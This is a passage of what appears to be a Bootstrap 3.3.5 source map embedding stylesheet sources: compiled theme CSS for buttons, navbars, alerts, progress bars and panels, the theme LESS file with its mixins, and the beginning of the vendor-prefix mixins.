false);\n background-repeat: repeat-x;\n border-color: #28a4c9;\n}\n.btn-info:hover,\n.btn-info:focus {\n background-color: #2aabd2;\n background-position: 0 -15px;\n}\n.btn-info:active,\n.btn-info.active {\n background-color: #2aabd2;\n border-color: #28a4c9;\n}\n.btn-info.disabled,\n.btn-info[disabled],\nfieldset[disabled] .btn-info,\n.btn-info.disabled:hover,\n.btn-info[disabled]:hover,\nfieldset[disabled] .btn-info:hover,\n.btn-info.disabled:focus,\n.btn-info[disabled]:focus,\nfieldset[disabled] .btn-info:focus,\n.btn-info.disabled.focus,\n.btn-info[disabled].focus,\nfieldset[disabled] .btn-info.focus,\n.btn-info.disabled:active,\n.btn-info[disabled]:active,\nfieldset[disabled] .btn-info:active,\n.btn-info.disabled.active,\n.btn-info[disabled].active,\nfieldset[disabled] .btn-info.active {\n background-color: #2aabd2;\n background-image: none;\n}\n.btn-warning {\n background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #eb9316 100%);\n background-image: -o-linear-gradient(top, #f0ad4e 0%, #eb9316 100%);\n background-image: linear-gradient(to bottom, #f0ad4e 0%, #eb9316 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #e38d13;\n}\n.btn-warning:hover,\n.btn-warning:focus {\n background-color: #eb9316;\n background-position: 0 -15px;\n}\n.btn-warning:active,\n.btn-warning.active {\n background-color: #eb9316;\n border-color: #e38d13;\n}\n.btn-warning.disabled,\n.btn-warning[disabled],\nfieldset[disabled] .btn-warning,\n.btn-warning.disabled:hover,\n.btn-warning[disabled]:hover,\nfieldset[disabled] .btn-warning:hover,\n.btn-warning.disabled:focus,\n.btn-warning[disabled]:focus,\nfieldset[disabled] .btn-warning:focus,\n.btn-warning.disabled.focus,\n.btn-warning[disabled].focus,\nfieldset[disabled] .btn-warning.focus,\n.btn-warning.disabled:active,\n.btn-warning[disabled]:active,\nfieldset[disabled] .btn-warning:active,\n.btn-warning.disabled.active,\n.btn-warning[disabled].active,\nfieldset[disabled] .btn-warning.active {\n background-color: #eb9316;\n background-image: none;\n}\n.btn-danger {\n background-image: -webkit-linear-gradient(top, #d9534f 0%, #c12e2a 100%);\n background-image: -o-linear-gradient(top, #d9534f 0%, #c12e2a 100%);\n background-image: linear-gradient(to bottom, #d9534f 0%, #c12e2a 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #b92c28;\n}\n.btn-danger:hover,\n.btn-danger:focus {\n background-color: #c12e2a;\n background-position: 0 -15px;\n}\n.btn-danger:active,\n.btn-danger.active {\n background-color: #c12e2a;\n border-color: #b92c28;\n}\n.btn-danger.disabled,\n.btn-danger[disabled],\nfieldset[disabled] .btn-danger,\n.btn-danger.disabled:hover,\n.btn-danger[disabled]:hover,\nfieldset[disabled] .btn-danger:hover,\n.btn-danger.disabled:focus,\n.btn-danger[disabled]:focus,\nfieldset[disabled] .btn-danger:focus,\n.btn-danger.disabled.focus,\n.btn-danger[disabled].focus,\nfieldset[disabled] .btn-danger.focus,\n.btn-danger.disabled:active,\n.btn-danger[disabled]:active,\nfieldset[disabled] .btn-danger:active,\n.btn-danger.disabled.active,\n.btn-danger[disabled].active,\nfieldset[disabled] .btn-danger.active {\n background-color: #c12e2a;\n background-image: none;\n}\n.thumbnail,\n.img-thumbnail {\n -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);\n background-color: #e8e8e8;\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n background-color: #2e6da4;\n}\n.navbar-default {\n background-image: -webkit-linear-gradient(top, #ffffff 0%, #f8f8f8 100%);\n background-image: -o-linear-gradient(top, #ffffff 0%, #f8f8f8 100%);\n background-image: linear-gradient(to bottom, #ffffff 0%, #f8f8f8 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 5px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 5px rgba(0, 0, 0, 0.075);\n}\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .active > a {\n background-image: -webkit-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%);\n background-image: -o-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%);\n background-image: linear-gradient(to bottom, #dbdbdb 0%, #e2e2e2 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0);\n -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.075);\n}\n.navbar-brand,\n.navbar-nav > li > a {\n text-shadow: 0 1px 0 rgba(255, 255, 255, 0.25);\n}\n.navbar-inverse {\n background-image: -webkit-linear-gradient(top, #3c3c3c 0%, #222222 100%);\n background-image: -o-linear-gradient(top, #3c3c3c 0%, #222222 100%);\n background-image: linear-gradient(to bottom, #3c3c3c 0%, #222222 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n border-radius: 4px;\n}\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .active > a {\n background-image: -webkit-linear-gradient(top, #080808 0%, #0f0f0f 100%);\n background-image: -o-linear-gradient(top, #080808 0%, #0f0f0f 100%);\n background-image: linear-gradient(to bottom, #080808 0%, #0f0f0f 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0);\n -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.25);\n box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.25);\n}\n.navbar-inverse .navbar-brand,\n.navbar-inverse .navbar-nav > li > a {\n text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\n.navbar-static-top,\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n border-radius: 0;\n}\n@media (max-width: 767px) {\n .navbar .navbar-nav .open .dropdown-menu > .active > a,\n .navbar .navbar-nav .open .dropdown-menu > .active > a:hover,\n .navbar .navbar-nav .open .dropdown-menu > .active > a:focus {\n color: #fff;\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n }\n}\n.alert {\n text-shadow: 0 1px 0 rgba(255, 255, 255, 0.2);\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25), 0 1px 2px rgba(0, 0, 0, 0.05);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n.alert-success {\n background-image: -webkit-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%);\n background-image: -o-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%);\n background-image: linear-gradient(to bottom, #dff0d8 0%, #c8e5bc 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0);\n border-color: #b2dba1;\n}\n.alert-info {\n background-image: -webkit-linear-gradient(top, #d9edf7 0%, #b9def0 100%);\n background-image: -o-linear-gradient(top, #d9edf7 0%, #b9def0 100%);\n background-image: linear-gradient(to bottom, #d9edf7 0%, #b9def0 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0);\n border-color: #9acfea;\n}\n.alert-warning {\n background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%);\n background-image: -o-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%);\n background-image: linear-gradient(to bottom, #fcf8e3 0%, #f8efc0 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0);\n border-color: #f5e79e;\n}\n.alert-danger {\n background-image: -webkit-linear-gradient(top, #f2dede 0%, #e7c3c3 100%);\n background-image: -o-linear-gradient(top, #f2dede 0%, #e7c3c3 100%);\n background-image: linear-gradient(to bottom, #f2dede 0%, #e7c3c3 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0);\n border-color: #dca7a7;\n}\n.progress {\n background-image: -webkit-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%);\n background-image: -o-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%);\n background-image: linear-gradient(to bottom, #ebebeb 0%, #f5f5f5 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0);\n}\n.progress-bar {\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #286090 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #286090 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #286090 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0);\n}\n.progress-bar-success {\n background-image: -webkit-linear-gradient(top, #5cb85c 0%, #449d44 100%);\n background-image: -o-linear-gradient(top, #5cb85c 0%, #449d44 100%);\n background-image: linear-gradient(to bottom, #5cb85c 0%, #449d44 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0);\n}\n.progress-bar-info {\n background-image: -webkit-linear-gradient(top, #5bc0de 0%, #31b0d5 100%);\n background-image: -o-linear-gradient(top, #5bc0de 0%, #31b0d5 100%);\n background-image: linear-gradient(to bottom, #5bc0de 0%, #31b0d5 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0);\n}\n.progress-bar-warning {\n background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #ec971f 100%);\n background-image: -o-linear-gradient(top, #f0ad4e 0%, #ec971f 100%);\n background-image: linear-gradient(to bottom, #f0ad4e 0%, #ec971f 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0);\n}\n.progress-bar-danger {\n background-image: -webkit-linear-gradient(top, #d9534f 0%, #c9302c 100%);\n background-image: -o-linear-gradient(top, #d9534f 0%, #c9302c 100%);\n background-image: linear-gradient(to bottom, #d9534f 0%, #c9302c 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0);\n}\n.progress-bar-striped {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.list-group {\n border-radius: 4px;\n -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n text-shadow: 0 -1px 0 #286090;\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2b669a 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2b669a 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2b669a 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0);\n border-color: #2b669a;\n}\n.list-group-item.active .badge,\n.list-group-item.active:hover .badge,\n.list-group-item.active:focus .badge {\n text-shadow: none;\n}\n.panel {\n -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n.panel-default > .panel-heading {\n background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);\n}\n.panel-primary > .panel-heading {\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n}\n.panel-success > .panel-heading {\n background-image: -webkit-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%);\n background-image: -o-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%);\n background-image: linear-gradient(to bottom, #dff0d8 0%, #d0e9c6 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0);\n}\n.panel-info > .panel-heading {\n background-image: -webkit-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%);\n background-image: -o-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%);\n background-image: linear-gradient(to bottom, #d9edf7 0%, #c4e3f3 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0);\n}\n.panel-warning > .panel-heading {\n background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%);\n background-image: -o-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%);\n background-image: linear-gradient(to bottom, #fcf8e3 0%, #faf2cc 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0);\n}\n.panel-danger > .panel-heading {\n background-image: -webkit-linear-gradient(top, #f2dede 0%, #ebcccc 100%);\n background-image: -o-linear-gradient(top, #f2dede 0%, #ebcccc 100%);\n background-image: linear-gradient(to bottom, #f2dede 0%, #ebcccc 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0);\n}\n.well {\n background-image: -webkit-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%);\n background-image: -o-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%);\n background-image: linear-gradient(to bottom, #e8e8e8 0%, #f5f5f5 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0);\n border-color: #dcdcdc;\n -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.05), 0 1px 0 rgba(255, 255, 255, 0.1);\n box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.05), 0 1px 0 rgba(255, 255, 255, 0.1);\n}\n/*# sourceMappingURL=bootstrap-theme.css.map */","/*!\n * Bootstrap v3.3.5 (http://getbootstrap.com)\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n\n//\n// Load core variables and mixins\n// --------------------------------------------------\n\n@import \"variables.less\";\n@import \"mixins.less\";\n\n\n//\n// Buttons\n// --------------------------------------------------\n\n// Common styles\n.btn-default,\n.btn-primary,\n.btn-success,\n.btn-info,\n.btn-warning,\n.btn-danger {\n text-shadow: 0 -1px 0 rgba(0,0,0,.2);\n @shadow: inset 0 1px 0 rgba(255,255,255,.15), 0 1px 1px rgba(0,0,0,.075);\n .box-shadow(@shadow);\n\n // Reset the shadow\n &:active,\n &.active {\n .box-shadow(inset 0 3px 5px rgba(0,0,0,.125));\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n .box-shadow(none);\n }\n\n .badge {\n text-shadow: none;\n }\n}\n\n// Mixin for generating new styles\n.btn-styles(@btn-color: #555) {\n #gradient > .vertical(@start-color: @btn-color; @end-color: darken(@btn-color, 12%));\n .reset-filter(); // Disable gradients for IE9 because filter bleeds through rounded corners; see https://github.com/twbs/bootstrap/issues/10620\n background-repeat: repeat-x;\n border-color: darken(@btn-color, 14%);\n\n &:hover,\n &:focus {\n background-color: darken(@btn-color, 12%);\n background-position: 0 -15px;\n }\n\n &:active,\n &.active {\n background-color: darken(@btn-color, 12%);\n border-color: darken(@btn-color, 14%);\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n &,\n &:hover,\n &:focus,\n &.focus,\n &:active,\n &.active {\n background-color: darken(@btn-color, 12%);\n background-image: none;\n }\n }\n}\n\n// Common styles\n.btn {\n // Remove the gradient for the pressed/active state\n &:active,\n &.active {\n background-image: none;\n }\n}\n\n// Apply the mixin to the buttons\n.btn-default { .btn-styles(@btn-default-bg); text-shadow: 0 1px 0 #fff; border-color: #ccc; }\n.btn-primary { .btn-styles(@btn-primary-bg); }\n.btn-success { .btn-styles(@btn-success-bg); }\n.btn-info { .btn-styles(@btn-info-bg); }\n.btn-warning { .btn-styles(@btn-warning-bg); }\n.btn-danger { .btn-styles(@btn-danger-bg); }\n\n\n//\n// Images\n// --------------------------------------------------\n\n.thumbnail,\n.img-thumbnail {\n .box-shadow(0 1px 2px rgba(0,0,0,.075));\n}\n\n\n//\n// Dropdowns\n// --------------------------------------------------\n\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n #gradient > .vertical(@start-color: @dropdown-link-hover-bg; @end-color: darken(@dropdown-link-hover-bg, 5%));\n background-color: darken(@dropdown-link-hover-bg, 5%);\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n #gradient > .vertical(@start-color: @dropdown-link-active-bg; @end-color: darken(@dropdown-link-active-bg, 5%));\n background-color: darken(@dropdown-link-active-bg, 5%);\n}\n\n\n//\n// Navbar\n// --------------------------------------------------\n\n// Default navbar\n.navbar-default {\n #gradient > .vertical(@start-color: lighten(@navbar-default-bg, 10%); @end-color: @navbar-default-bg);\n .reset-filter(); // Remove gradient in IE<10 to fix bug where dropdowns don't get triggered\n border-radius: @navbar-border-radius;\n @shadow: inset 0 1px 0 rgba(255,255,255,.15), 0 1px 5px rgba(0,0,0,.075);\n .box-shadow(@shadow);\n\n .navbar-nav > .open > a,\n .navbar-nav > .active > a {\n #gradient > .vertical(@start-color: darken(@navbar-default-link-active-bg, 5%); @end-color: darken(@navbar-default-link-active-bg, 2%));\n .box-shadow(inset 0 3px 9px rgba(0,0,0,.075));\n }\n}\n.navbar-brand,\n.navbar-nav > li > a {\n text-shadow: 0 1px 0 rgba(255,255,255,.25);\n}\n\n// Inverted navbar\n.navbar-inverse {\n #gradient > .vertical(@start-color: lighten(@navbar-inverse-bg, 10%); @end-color: @navbar-inverse-bg);\n .reset-filter(); // Remove gradient in IE<10 to fix bug where dropdowns don't get triggered; see https://github.com/twbs/bootstrap/issues/10257\n border-radius: @navbar-border-radius;\n .navbar-nav > .open > a,\n .navbar-nav > .active > a {\n #gradient > .vertical(@start-color: @navbar-inverse-link-active-bg; @end-color: lighten(@navbar-inverse-link-active-bg, 2.5%));\n .box-shadow(inset 0 3px 9px rgba(0,0,0,.25));\n }\n\n .navbar-brand,\n .navbar-nav > li > a {\n text-shadow: 0 -1px 0 rgba(0,0,0,.25);\n }\n}\n\n// Undo rounded corners in static and fixed navbars\n.navbar-static-top,\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n border-radius: 0;\n}\n\n// Fix active state of dropdown items in collapsed mode\n@media (max-width: @grid-float-breakpoint-max) {\n .navbar .navbar-nav .open .dropdown-menu > .active > a {\n &,\n &:hover,\n &:focus {\n color: #fff;\n #gradient > .vertical(@start-color: @dropdown-link-active-bg; @end-color: darken(@dropdown-link-active-bg, 5%));\n }\n }\n}\n\n\n//\n// Alerts\n// --------------------------------------------------\n\n// Common styles\n.alert {\n text-shadow: 0 1px 0 rgba(255,255,255,.2);\n @shadow: inset 0 1px 0 rgba(255,255,255,.25), 0 1px 2px rgba(0,0,0,.05);\n .box-shadow(@shadow);\n}\n\n// Mixin for generating new styles\n.alert-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 7.5%));\n border-color: darken(@color, 15%);\n}\n\n// Apply the mixin to the alerts\n.alert-success { .alert-styles(@alert-success-bg); }\n.alert-info { .alert-styles(@alert-info-bg); }\n.alert-warning { .alert-styles(@alert-warning-bg); }\n.alert-danger { .alert-styles(@alert-danger-bg); }\n\n\n//\n// Progress bars\n// --------------------------------------------------\n\n// Give the progress background some depth\n.progress {\n #gradient > .vertical(@start-color: darken(@progress-bg, 4%); @end-color: @progress-bg)\n}\n\n// Mixin for generating new styles\n.progress-bar-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 10%));\n}\n\n// Apply the mixin to the progress bars\n.progress-bar { .progress-bar-styles(@progress-bar-bg); }\n.progress-bar-success { .progress-bar-styles(@progress-bar-success-bg); }\n.progress-bar-info { .progress-bar-styles(@progress-bar-info-bg); }\n.progress-bar-warning { .progress-bar-styles(@progress-bar-warning-bg); }\n.progress-bar-danger { .progress-bar-styles(@progress-bar-danger-bg); }\n\n// Reset the striped class because our mixins don't do multiple gradients and\n// the above custom styles override the new `.progress-bar-striped` in v3.2.0.\n.progress-bar-striped {\n #gradient > .striped();\n}\n\n\n//\n// List groups\n// --------------------------------------------------\n\n.list-group {\n border-radius: @border-radius-base;\n .box-shadow(0 1px 2px rgba(0,0,0,.075));\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n text-shadow: 0 -1px 0 darken(@list-group-active-bg, 10%);\n #gradient > .vertical(@start-color: @list-group-active-bg; @end-color: darken(@list-group-active-bg, 7.5%));\n border-color: darken(@list-group-active-border, 7.5%);\n\n .badge {\n text-shadow: none;\n }\n}\n\n\n//\n// Panels\n// --------------------------------------------------\n\n// Common styles\n.panel {\n .box-shadow(0 1px 2px rgba(0,0,0,.05));\n}\n\n// Mixin for generating new styles\n.panel-heading-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 5%));\n}\n\n// Apply the mixin to the panel headings only\n.panel-default > .panel-heading { .panel-heading-styles(@panel-default-heading-bg); }\n.panel-primary > .panel-heading { .panel-heading-styles(@panel-primary-heading-bg); }\n.panel-success > .panel-heading { .panel-heading-styles(@panel-success-heading-bg); }\n.panel-info > .panel-heading { .panel-heading-styles(@panel-info-heading-bg); }\n.panel-warning > .panel-heading { .panel-heading-styles(@panel-warning-heading-bg); }\n.panel-danger > .panel-heading { .panel-heading-styles(@panel-danger-heading-bg); }\n\n\n//\n// Wells\n// --------------------------------------------------\n\n.well {\n #gradient > .vertical(@start-color: darken(@well-bg, 5%); @end-color: @well-bg);\n border-color: darken(@well-bg, 10%);\n @shadow: inset 0 1px 3px rgba(0,0,0,.05), 0 1px 0 rgba(255,255,255,.1);\n .box-shadow(@shadow);\n}\n","// Vendor Prefixes\n//\n// All vendor mixins are deprecated as of v3.2.0 due to the introduction of\n// Autoprefixer in our Gruntfile. They will be removed in v4.\n\n// - Animations\n// - Backface visibility\n// - Box shadow\n// - Box sizing\n// - Content columns\n// - Hyphens\n// - Placeholder text\n// - Transformations\n// - Transitions\n// - User Select\n\n\n// Animations\n.animation(@animation) {\n -webkit-animation: @animation;\n -o-animation: @animation;\n animation: @animation;\n}\n.animation-name(@name) {\n -webkit-animation-name: @name;\n animation-name: @name;\n}\n.animation-duration(@duration) {\n -webkit-animation-duration: @duration;\n animation-duration: @duration;\n}\n.animation-timing-function(@timing-function) {\n -webkit-animation-timing-function: @timing-function;\n animation-timing-function: @timing-function;\n}\n.animation-delay(@delay) {\n -webkit-animation-delay: @delay;\n animation-delay: @delay;\n}\n.animation-iteration-count(@iteration-count) {\n -webkit-animation-iteration-count: @iteration-count;\n animation-iteration-count: @iteration-count;\n}\n.animation-direction(@direction) {\n -webkit-animation-direction: @direction;\n animation-direction: @direction;\n}\n.animation-fill-mode(@fill-mode) {\n -webkit-animation-fill-mode: @fill-mode;\n animation-fill-mode: @fill-mode;\n}\n\n// Backface visibility\n// Prevent browsers from flickering when using CSS 3D transforms.\n// Default value is `visible`, but can be changed to `hidden`\n\n.backface-visibility(@visibility){\n -webkit-backface-visibility: @visibility;\n -moz-backface-visibility: @visibility;\n backface-visibility: @visibility;\n}\n\n// Drop shadows\n//\n// Note: Deprecated `.box-shadow()` as of v3.1.0 since all of Bootstrap's\n// supported browsers that have box shadow capabilities now support it.\n\n.box-shadow(@shadow) {\n -webkit-box-shadow: @shadow; // iOS <4.3 & Android <4.1\n box-shadow: @shadow;\n}\n\n// Box sizing\n.box-sizing(@boxmodel) {\n -webkit-box-sizing: @boxmodel;\n -moz-box-sizing: @boxmodel;\n box-sizing: @boxmodel;\n}\n\n// CSS3 Content Columns\n.content-columns(@column-count; @column-gap: @grid-gutter-width) {\n -webkit-column-count: @column-count;\n -moz-column-count: @column-count;\n column-count: @column-count;\n -webkit-column-gap: @column-gap;\n -moz-column-gap: @column-gap;\n column-gap: @column-gap;\n}\n\n// Optional hyphenation\n.hyphens(@mode: auto) {\n word-wrap: break-word;\n -webkit-hyphens: @mode;\n -moz-hyphens: @mode;\n -ms-hyphens: @mode; // IE10+\n -o-hyphens: @mode;\n hyphens: @mode;\n}\n\n// Placeholder text\n.placeholder(@color: @input-color-placeholder) {\n // Firefox\n &::-moz-placeholder {\n color: @color;\n opacity: 1; // Override Firefox's unusual default opacity; see https://github.com/twbs/bootstrap/pull/11526\n }\n &:-ms-input-placeholder { color: @color; } // Internet Explorer 10+\n &::-webkit-input-placeholder { color: @color; } // Safari and Chrome\n}\n\n// Transformations\n.scale(@ratio) {\n -webkit-transform: scale(@ratio);\n -ms-transform: scale(@ratio); // IE9 only\n -o-transform: scale(@ratio);\n transform: scale(@ratio);\n}\n.scale(@ratioX; @ratioY) {\n -webkit-transform: scale(@ratioX, @ratioY);\n -ms-transform: scale(@ratioX, @ratioY); // IE9 only\n -o-transform: scale(@ratioX, @ratioY);\n transform: scale(@ratioX, @ratioY);\n}\n.scaleX(@ratio) {\n -webkit-transform: scaleX(@ratio);\n -ms-transform: scaleX(@ratio); // IE9 only\n -o-transform: scaleX(@ratio);\n transform: scaleX(@ratio);\n}\n.scaleY(@ratio) {\n -webkit-transform: scaleY(@ratio);\n -ms-transform: scaleY(@ratio); // IE9 only\n -o-transform: scaleY(@ratio);\n transform: scaleY(@ratio);\n}\n.skew(@x; @y) {\n -webkit-transform: skewX(@x) skewY(@y);\n -ms-transform: skewX(@x) skewY(@y); // See https://github.com/twbs/bootstrap/issues/4885; IE9+\n -o-transform: skewX(@x) skewY(@y);\n transform: skewX(@x) skewY(@y);\n}\n.translate(@x; @y) {\n -webkit-transform: translate(@x, @y);\n -ms-transform: translate(@x, @y); // IE9 only\n -o-transform: translate(@x, @y);\n transform: translate(@x, @y);\n}\n.translate3d(@x; @y; @z) {\n -webkit-transform: translate3d(@x, @y, @z);\n transform: translate3d(@x, @y, @z);\n}\n.rotate(@degrees) {\n 